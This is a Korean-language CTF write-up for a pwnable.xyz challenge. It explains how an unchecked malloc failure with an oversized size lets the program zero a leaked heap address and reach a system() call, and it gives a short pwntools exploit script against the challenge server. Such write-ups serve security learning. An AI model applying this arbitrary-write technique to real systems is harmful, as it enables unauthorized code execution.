How to Exploit

  1. IDA
image

0x40000byte를 malloc으로 힙에 할당시킨 뒤(v3), 그 Chunk의 주소가 leak된다. 그 후 원하는 만큼의 크기(v10)를 잡고 malloc으로 힙에 할당시킨다(v5). 그리고 그 메모리에 입력받고 v5[v10-1]=0을 실행한다. 이후 v3의 값이 0이면 system 함수가 호출된다. v10-1이 v3의 위치로 가도록 하자.

그런데 v5는 v3 이후에 할당되므로 v10은 양수이기 때문에 정상적인 할당이 이뤄지면 v3의 위치를 가르킬 수 없다.

v5를 할당시킬 때 너무 큰 값을 주게 되면 할당되지 않으면서 malloc은 0을 리턴한다. 따라서 배열의 이름이 시작주소이므로 v5[v10-1]은 주소가 v10-1인 값을 바꿀 수 있는 것이다. v10을 leak된 v3의 주소+1을 넣어주면 너무 크므로 원하는 대로 될 것이다.

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30000)

p.recvuntil('Leak: ')
heap_add = int(p.recv(14)[2:], 16)

p.sendlineafter('message: ', str(heap_add+1))
p.sendafter('message: ', 'hi')

p.interactive()

Capture the Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

Xor  (0) 2020.03.07
Two Targets - 2  (0) 2020.03.07
Two Targets - 1  (0) 2020.03.07
TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07

+ Recent posts